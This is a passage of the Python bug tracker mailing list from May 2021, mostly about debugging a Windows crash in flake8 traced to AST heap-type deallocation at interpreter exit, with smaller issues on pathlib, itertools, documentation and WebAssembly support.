Date: Thu, 20 May 2021 20:33:55 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621542835.33.0.65564049646.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: Lets get equivalent whatsnew text into the 3.8 and 3.9 and 3.10 branches before closing it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:41:55 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Thu, 20 May 2021 20:41:55 +0000 Subject: [issue44126] Support cross-compiling of cpython modules using setuptools In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621543315.79.0.491984885313.issue44126@roundup.psfhosted.org> Change by Jeff Moguillansky : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:48:45 2021 From: report at bugs.python.org (Ammar Askar) Date: Thu, 20 May 2021 20:48:45 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621543725.19.0.990474450509.issue44184@roundup.psfhosted.org> Ammar Askar added the comment: The bisect was bizarre to say the least... It points to commit 11159d2c9d6616497ef4cc62953a5c3cc8454afb bpo-43080: pprint for dataclass instances (GH-24389) * Added pprint support for dataclass instances which don't have a custom __repr__. which doesn't touch any C code by itself and isn't the heap type conversions. If I check out to latest 3.10 and revert that commit, this issue seems to go away. Can someone else confirm just to make sure the bisect was done correctly? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 16:56:21 2021 From: report at bugs.python.org (Mikhail) Date: Thu, 20 May 2021 20:56:21 +0000 Subject: [issue44198] Add flags or function in pathlib.Path Message-ID: <1621544181.25.0.265520338591.issue44198@roundup.psfhosted.org> New submission from Mikhail : Hello! This is a very useful feature when a Path-object gets a list (or generator, as it is now) of files/dirs in self.dir, I think. Right now this is the .iterdir() function, but sometimes you only need `dirs` of that path (for example, I really needed the function when I was working with images for classification), and at the moment this is only solved by (path for path in root.iterdir() if path.is_dir()). You could make separate functions for this, but I suggest just adding the only_dirs/only_files(/only_links) flags to .iterdir(). ---------- components: Library (Lib) messages: 394064 nosy: tetelevm priority: normal severity: normal status: open title: Add flags or function in pathlib.Path versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:08:03 2021 From: report at bugs.python.org (Steve Stagg) Date: Thu, 20 May 2021 21:08:03 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621544883.76.0.148135144913.issue44184@roundup.psfhosted.org> Steve Stagg added the comment: I got the same result from a bisect: 11159d2c9d6616497ef4cc62953a5c3cc8454afb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:15:29 2021 From: report at bugs.python.org (Steve Stagg) Date: Thu, 20 May 2021 21:15:29 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621545329.58.0.873959594606.issue44184@roundup.psfhosted.org> Steve Stagg added the comment: So, for me, the single line from 11159d that causes the problem is this: pprint.py: import dataclasses as _dataclasses Obviously importing dataclasses here is having some side-effect ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:20:35 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 20 May 2021 21:20:35 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621545635.47.0.518085163615.issue44184@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:27:30 2021 From: report at bugs.python.org (Ammar Askar) Date: Thu, 20 May 2021 21:27:30 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621546050.86.0.375033201254.issue44184@roundup.psfhosted.org> Ammar Askar added the comment: Just to thicken the mystery a bit further, if you comment out import inspect in dataclasses.py, the error also goes away. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:31:14 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 21:31:14 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621546274.86.0.945419492838.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: My bet is because this is caused by the AST module using heap typed here. There is probably a missing strong reference somewhere. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:32:12 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 21:32:12 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621546332.37.0.300017442736.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm trying to reproduce on Linux but I am unable to make it fail even with the address sanitizer activated :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:34:35 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 20 May 2021 21:34:35 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621546475.05.0.314113912418.issue44184@roundup.psfhosted.org> Erlend E. Aasland added the comment: FWIW, I'm also unable to reproduce on macOS (so far). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:46:53 2021 From: report at bugs.python.org (Will Razen) Date: Thu, 20 May 2021 21:46:53 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1621547213.95.0.604632866493.issue14965@roundup.psfhosted.org> Will Razen added the comment: @simonzack Your superprop.py doesn't work for multiple inheritance, because you're using __thisclass__.__mro__ in each step instead of the initial object mro ---------- nosy: +willrazen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:47:07 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 20 May 2021 21:47:07 +0000 Subject: [issue44163] IDLE ValueError in HyperParser In-Reply-To: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> Message-ID: <1621547227.38.0.578705337447.issue44163@roundup.psfhosted.org> Terry J. Reedy added the comment: For now, I want to just improve the error message and then close. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:48:24 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 20 May 2021 21:48:24 +0000 Subject: [issue25625] "chdir" Contex manager for pathlib In-Reply-To: <1447523143.32.0.921942004004.issue25625@psf.upfronthosting.co.za> Message-ID: <1621547304.34.0.461192868638.issue25625@roundup.psfhosted.org> Change by Filipe La?ns : ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 17:51:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 21:51:12 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621547472.76.0.142277555175.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: This bug is really hard to reproduce on Windows. It depends on flake8 is run. It's a random crash in the last GC collection at Python exit. Crash related to AST in interpreter_clear() remains me bpo-41796. Extract of the code: static void interpreter_clear(PyInterpreterState *interp, PyThreadState *tstate) { ... _PyAST_Fini(interp); ... /* Last garbage collection on this interpreter */ _PyGC_CollectNoFail(tstate); _PyGC_Fini(interp); ... } The crash occurs in _PyGC_CollectNoFail(). _PyAST_Fini() clears references to AST types in the interpreter AST state. AST type instances hold a reference to the their heap type: static int ast_traverse(AST_object *self, visitproc visit, void *arg) { Py_VISIT(Py_TYPE(self)); Py_VISIT(self->dict); return 0; } But the crash happens when self->dict is deallocated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 18:03:37 2021 From: report at bugs.python.org (Daniel Urban) Date: Thu, 20 May 2021 22:03:37 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1621548217.65.0.96553276396.issue14965@roundup.psfhosted.org> Daniel Urban added the comment: @habnabit I believe I've already signed some contributor form some years ago. If there is a new one, I can sign that one too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 18:45:09 2021 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 May 2021 22:45:09 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621550709.25.0.834981975447.issue44184@roundup.psfhosted.org> Steve Dower added the comment: > I've found that it's reproducible if you run flake8 on a file that just contains: `a.b` ISTR there were some changes made to assigning attributes on AST classes recently? I forget who did them, but I remember discussing it during the sprints last year. Perhaps it's related to that? (Though more likely a subclass, as Steve suggests.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 18:55:14 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 22:55:14 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621551314.26.0.36181662975.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: would it maybe be helpful to bisect a history where the dataclasses / inspect import change is introduced earlier? this would perhaps help pinpoint the other commit which is causing this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:08:33 2021 From: report at bugs.python.org (HVoltBb) Date: Thu, 20 May 2021 23:08:33 +0000 Subject: [issue44199] code example index error in tutorial controlflow Message-ID: <1621552113.7.0.197671013428.issue44199@roundup.psfhosted.org> New submission from HVoltBb : An index error in the code example given just above https://docs.python.org/3/tutorial/controlflow.html#documentation-strings The code now is : pairs = [(1, 'one'), (2, 'two'), (3, 'three'), (4, 'four')] pairs.sort(key=lambda pair: pair[1]) pairs The "pair[1]" in the second line should be "pair[0]". ---------- assignee: docs at python components: Documentation messages: 394077 nosy: HVoltBb, docs at python priority: normal severity: normal status: open title: code example index error in tutorial controlflow type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:13:13 2021 From: report at bugs.python.org (HVoltBb) Date: Thu, 20 May 2021 23:13:13 +0000 Subject: [issue44199] code example index error in tutorial controlflow In-Reply-To: <1621552113.7.0.197671013428.issue44199@roundup.psfhosted.org> Message-ID: <1621552393.05.0.232768227698.issue44199@roundup.psfhosted.org> Change by HVoltBb : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:19:26 2021 From: report at bugs.python.org (Eryk Sun) Date: Thu, 20 May 2021 23:19:26 +0000 Subject: [issue44189] multiprocessing AF_PIPE name format is slightly confusing in the docs In-Reply-To: <1621512672.42.0.522584342621.issue44189@roundup.psfhosted.org> Message-ID: <1621552766.85.0.761774042949.issue44189@roundup.psfhosted.org> Eryk Sun added the comment: There's a formatting problem in Doc/library/multiprocessing.rst due to consumption of the backslashes in multiple steps. The following keeps all of the required backslashes in the HTML output: * An ``'AF_PIPE'`` address is a string of the form :samp:`r'\\\\\\.\\pipe\\\\{PipeName}'`. To use :func:`Client` to connect to a named pipe on a remote computer called *ServerName* one should use an address of the form :samp:`r'\\\\\\\\{ServerName}\\pipe\\\\{PipeName}'` instead. Or just use a regular literal and rely on the reader to understand that "{PipeName}" and "{ServerName}" are parameters: * An ``'AF_PIPE'`` address is a string of the form ``r'\\.\pipe\{PipeName}'``. To use :func:`Client` to connect to a named pipe on a remote computer called *ServerName* one should use an address of the form ``r'\\{ServerName}\pipe\{PipeName}'`` instead. ---------- nosy: +eryksun type: -> enhancement versions: +Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:37:49 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Thu, 20 May 2021 23:37:49 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition In-Reply-To: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> Message-ID: <1621553869.37.0.566929667162.issue44197@roundup.psfhosted.org> Dennis Sweeney added the comment: How is proposed_function("abcd", max_repeat=3) any different from what you can currently spell as combinations("aaabbbcccddd") ? Or, more generally, def proposed_function(it, repeats) repeated = chain.from_iterable([x] * repeat for x in it) return combinations(repeated) This can easily generalize to specifying the max count of each item. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:45:28 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 23:45:28 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621554328.91.0.0783935282623.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: I have a reproducer (.py script) on Windows, but the crash rate is between 1/3 and 1/2. Also, in VS, if I run "import bug" (bug.py) in the REPL, I fail to reproduce the crash. Using "exec(open('../bug.py').read())" is more likely to trigger the crash, but in VS, I have hard time to trigger the bug. I only reproduced it once. The bug seems to require very precise conditions. Maybe it depends on the randomized hash function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:46:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 23:46:17 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621554377.65.0.622093797336.issue44184@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +24880 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26274 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 19:49:28 2021 From: report at bugs.python.org (Ethan Smith) Date: Thu, 20 May 2021 23:49:28 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1621554568.4.0.0985089234451.issue40280@roundup.psfhosted.org> Ethan Smith added the comment: I think the first thing we should do is figure out whether we want to support Emscripten or WASI (or both). Emscripten uses Javascript polyfills for some syscalls, while WASI makes direct calls the VM it is running in. They both can use WebAssembly for executing the code. This means Emscripten has wider API support, but WASI is lighter weight in many ways. I think starting with patches to support Emscripten would be best, as it is easier to target, then add support for WASI later. I think supporting WASI has a lot of value, because it can be run deterministically, which would be great for data science (Imagine a jupyter notebook that runs the same everywhere!) One issue with WASI, and may be an issue with Emscripten, is threads. In 3.8 (or 3.9?) threadless builds were removed. However, WebAssembly's threading API is not really meant to emulate pthread, and SharedArrayBuffer, the primitive it is built on, is disabled in several browsers due to Spectre concerns. Would patches to re-add a threadless build mode be accepted? ---------- nosy: +ethan smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:08:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 00:08:17 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621555697.2.0.922268771367.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: Apply attached debug_subtype_dealloc.patch to reproduce the issue on Linux with attached ref.py script: $ ./python ref.py exit subtype_dealloc(_ABC): call basedealloc() with Py_REFCNT(type)=1 subtype_dealloc(_Precedence): call basedealloc() with Py_REFCNT(type)=1 subtype_dealloc(property): call basedealloc() with Py_REFCNT(type)=1 subtype_dealloc(FlagBoundary): call basedealloc() with Py_REFCNT(type)=1 LAST GC Cycle.__del__ Cycle.__del__ subtype_dealloc(keyword): call basedealloc() with Py_REFCNT(type)=1 python: Objects/typeobject.c:1462: subtype_dealloc: Assertion `!_PyMem_IsPtrFreed(type->tp_name)' failed. Abandon (core dumped) ---------- Added file: https://bugs.python.org/file50055/ref.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:08:28 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 00:08:28 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621555708.47.0.310865336164.issue44184@roundup.psfhosted.org> Change by STINNER Victor : Added file: https://bugs.python.org/file50056/debug_subtype_dealloc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:09:17 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 00:09:17 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ Message-ID: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> New submission from Filipe La?ns : The files()/Traversable api is meant to replace ResourceReader api, but it falls short in one dimension, tying the abstraction to a file system path. I propose to document that Traversable users *should* implement __fspath__ if the Traversable represents a file-system path. This will essentially make os.fspath(importlib.resources.files(module) / resource) the equivalent of importlib.resources.path(module, resource), for which currently there is no replacement using files(). ---------- messages: 394083 nosy: FFY00, brett.cannon, jaraco priority: normal severity: normal status: open title: Recommend importlib.abc.Traversable users to implement __fspath__ versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:12:45 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 00:12:45 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621555965.33.0.657211792178.issue44200@roundup.psfhosted.org> Filipe La?ns added the comment: I am gonna wait until/if GH-26272 (#44196) gets merged because this would conflict with that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:14:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 00:14:17 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621556057.39.0.820542125294.issue44184@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Ok, I got a crash under the address sanitizer using ref.py: ./python lel.py exit Cycle.__del__ Cycle.__del__ ================================================================= ==77503==ERROR: AddressSanitizer: heap-use-after-free on address 0x61900005a638 at pc 0x55a491f59376 bp 0x7fff8b27cd10 sp 0x7fff8b27cd00 READ of size 8 at 0x61900005a638 thread T0 #0 0x55a491f59375 in subtype_dealloc Objects/typeobject.c:1456 #1 0x55a491ebb5e4 in _Py_DECREF Include/object.h:500 #2 0x55a491ebb5e4 in _Py_XDECREF Include/object.h:567 #3 0x55a491ebb5e4 in list_dealloc Objects/listobject.c:342 #4 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #5 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #6 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #7 0x55a492305eec in _Py_DECREF Include/object.h:500 #8 0x55a492305eec in ast_dealloc Python/Python-ast.c:764 #9 0x55a491f59065 in subtype_dealloc Objects/typeobject.c:1450 #10 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #11 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #12 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #13 0x55a492305eec in _Py_DECREF Include/object.h:500 #14 0x55a492305eec in ast_dealloc Python/Python-ast.c:764 #15 0x55a491f59065 in subtype_dealloc Objects/typeobject.c:1450 #16 0x55a491ebb5e4 in _Py_DECREF Include/object.h:500 #17 0x55a491ebb5e4 in _Py_XDECREF Include/object.h:567 #18 0x55a491ebb5e4 in list_dealloc Objects/listobject.c:342 #19 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #20 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #21 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #22 0x55a492305e1f in _Py_DECREF Include/object.h:500 #23 0x55a492305e1f in ast_clear Python/Python-ast.c:782 #24 0x55a49216367b in delete_garbage Modules/gcmodule.c:1017 #25 0x55a49216367b in gc_collect_main Modules/gcmodule.c:1300 #26 0x55a492165fe5 in _PyGC_CollectNoFail Modules/gcmodule.c:2123 #27 0x55a492105745 in interpreter_clear Python/pystate.c:326 #28 0x55a4920f5565 in finalize_interp_clear Python/pylifecycle.c:1634 #29 0x55a4920fa882 in Py_FinalizeEx Python/pylifecycle.c:1812 #30 0x55a491e72870 in Py_RunMain Modules/main.c:668 #31 0x55a491e72870 in pymain_main Modules/main.c:696 #32 0x55a491e72870 in Py_BytesMain Modules/main.c:720 #33 0x7f772d82eb24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24) #34 0x55a491e6ec2d in _start (/home/pablogsal/github/python/master/python+0x174c2d) 0x61900005a638 is located 184 bytes inside of 944-byte region [0x61900005a580,0x61900005a930) freed by thread T0 here: #0 0x7f772dbfaf19 in __interceptor_free /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:127 #1 0x55a491f5466e in type_dealloc Objects/typeobject.c:4041 #2 0x55a491f59065 in subtype_dealloc Objects/typeobject.c:1450 #3 0x55a491ebb5e4 in _Py_DECREF Include/object.h:500 #4 0x55a491ebb5e4 in _Py_XDECREF Include/object.h:567 #5 0x55a491ebb5e4 in list_dealloc Objects/listobject.c:342 #6 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #7 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #8 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #9 0x55a492305eec in _Py_DECREF Include/object.h:500 #10 0x55a492305eec in ast_dealloc Python/Python-ast.c:764 #11 0x55a491f59065 in subtype_dealloc Objects/typeobject.c:1450 #12 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #13 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #14 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #15 0x55a492305eec in _Py_DECREF Include/object.h:500 #16 0x55a492305eec in ast_dealloc Python/Python-ast.c:764 #17 0x55a491f59065 in subtype_dealloc Objects/typeobject.c:1450 #18 0x55a491ebb5e4 in _Py_DECREF Include/object.h:500 #19 0x55a491ebb5e4 in _Py_XDECREF Include/object.h:567 #20 0x55a491ebb5e4 in list_dealloc Objects/listobject.c:342 #21 0x55a491eebe44 in _Py_DECREF Include/object.h:500 #22 0x55a491eebe44 in _Py_XDECREF Include/object.h:567 #23 0x55a491eebe44 in dict_dealloc Objects/dictobject.c:2068 #24 0x55a492305e1f in _Py_DECREF Include/object.h:500 #25 0x55a492305e1f in ast_clear Python/Python-ast.c:782 #26 0x55a49216367b in delete_garbage Modules/gcmodule.c:1017 #27 0x55a49216367b in gc_collect_main Modules/gcmodule.c:1300 #28 0x55a492165fe5 in _PyGC_CollectNoFail Modules/gcmodule.c:2123 #29 0x55a492105745 in interpreter_clear Python/pystate.c:326 #30 0x55a4920f5565 in finalize_interp_clear Python/pylifecycle.c:1634 #31 0x55a4920fa882 in Py_FinalizeEx Python/pylifecycle.c:1812 #32 0x55a491e72870 in Py_RunMain Modules/main.c:668 #33 0x55a491e72870 in pymain_main Modules/main.c:696 #34 0x55a491e72870 in Py_BytesMain Modules/main.c:720 #35 0x7f772d82eb24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24) previously allocated by thread T0 here: #0 0x7f772dbfb279 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55a4921667b5 in _PyObject_GC_Alloc Modules/gcmodule.c:2250 #2 0x55a4921667b5 in _PyObject_GC_Malloc Modules/gcmodule.c:2277 #3 0x55a491f56986 in PyType_GenericAlloc Objects/typeobject.c:1160 #4 0x55a491f866ea in type_new_alloc Objects/typeobject.c:2732 #5 0x55a491f866ea in type_new_init Objects/typeobject.c:3144 #6 0x55a491f866ea in type_new_impl Objects/typeobject.c:3167 #7 0x55a491f866ea in type_new Objects/typeobject.c:3312 #8 0x55a491f5b377 in type_call Objects/typeobject.c:1127 #9 0x55a491e92ad8 in _PyObject_MakeTpCall Objects/call.c:215 #10 0x55a491e93f33 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #11 0x55a491e93f33 in _PyObject_CallFunctionVa Objects/call.c:485 #12 0x55a491e973af in PyObject_CallFunction Objects/call.c:507 #13 0x55a49230623b in make_type Python/Python-ast.c:935 #14 0x55a49231d15f in init_types Python/Python-ast.c:1735 #15 0x55a49231edaf in get_ast_state Python/Python-ast.c:19 #16 0x55a49231edaf in astmodule_exec Python/Python-ast.c:10795 #17 0x55a491f1c866 in PyModule_ExecDef Objects/moduleobject.c:407 #18 0x55a4920bddf2 in _imp_exec_builtin (/home/pablogsal/github/python/master/python+0x3c3df2) #19 0x55a492303267 in cfunction_vectorcall_O Objects/methodobject.c:512 #20 0x55a491e94d69 in PyVectorcall_Call Objects/call.c:255 #21 0x55a491e58b83 in do_call_core Python/ceval.c:5937 #22 0x55a491e58b83 in _PyEval_EvalFrameDefault Python/ceval.c:4278 #23 0x55a492050e77 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #24 0x55a492050e77 in _PyEval_Vector Python/ceval.c:5069 #25 0x55a491e617da in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #26 0x55a491e617da in PyObject_Vectorcall Include/cpython/abstract.h:123 #27 0x55a491e617da in call_function Python/ceval.c:5885 #28 0x55a491e617da in _PyEval_EvalFrameDefault Python/ceval.c:4214 #29 0x55a492050e77 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #30 0x55a492050e77 in _PyEval_Vector Python/ceval.c:5069 #31 0x55a491e692fd in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #32 0x55a491e692fd in PyObject_Vectorcall Include/cpython/abstract.h:123 #33 0x55a491e692fd in call_function Python/ceval.c:5885 #34 0x55a491e692fd in _PyEval_EvalFrameDefault Python/ceval.c:4182 #35 0x55a492050e77 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #36 0x55a492050e77 in _PyEval_Vector Python/ceval.c:5069 #37 0x55a491e617da in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #38 0x55a491e617da in PyObject_Vectorcall Include/cpython/abstract.h:123 #39 0x55a491e617da in call_function Python/ceval.c:5885 #40 0x55a491e617da in _PyEval_EvalFrameDefault Python/ceval.c:4214 #41 0x55a492050e77 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #42 0x55a492050e77 in _PyEval_Vector Python/ceval.c:5069 #43 0x55a491e617da in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #44 0x55a491e617da in PyObject_Vectorcall Include/cpython/abstract.h:123 #45 0x55a491e617da in call_function Python/ceval.c:5885 #46 0x55a491e617da in _PyEval_EvalFrameDefault Python/ceval.c:4214 #47 0x55a492050e77 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #48 0x55a492050e77 in _PyEval_Vector Python/ceval.c:5069 #49 0x55a491e93a05 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #50 0x55a491e93a05 in object_vacall Objects/call.c:734 #51 0x55a491e99424 in _PyObject_CallMethodIdObjArgs Objects/call.c:825 #52 0x55a4920c27f7 in import_find_and_load Python/import.c:1499 #53 0x55a4920c27f7 in PyImport_ImportModuleLevelObject Python/import.c:1600 #54 0x55a491e68ac5 in import_name Python/ceval.c:6010 #55 0x55a491e68ac5 in _PyEval_EvalFrameDefault Python/ceval.c:3701 #56 0x55a49205077f in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #57 0x55a49205077f in _PyEval_Vector Python/ceval.c:5069 #58 0x55a49205077f in PyEval_EvalCode Python/ceval.c:1135 SUMMARY: AddressSanitizer: heap-use-after-free Objects/typeobject.c:1456 in subtype_dealloc Shadow bytes around the buggy address: 0x0c3280003470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3280003480: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa 0x0c3280003490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c32800034a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c32800034b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c32800034c0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd 0x0c32800034d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c32800034e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c32800034f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3280003500: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c3280003510: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left 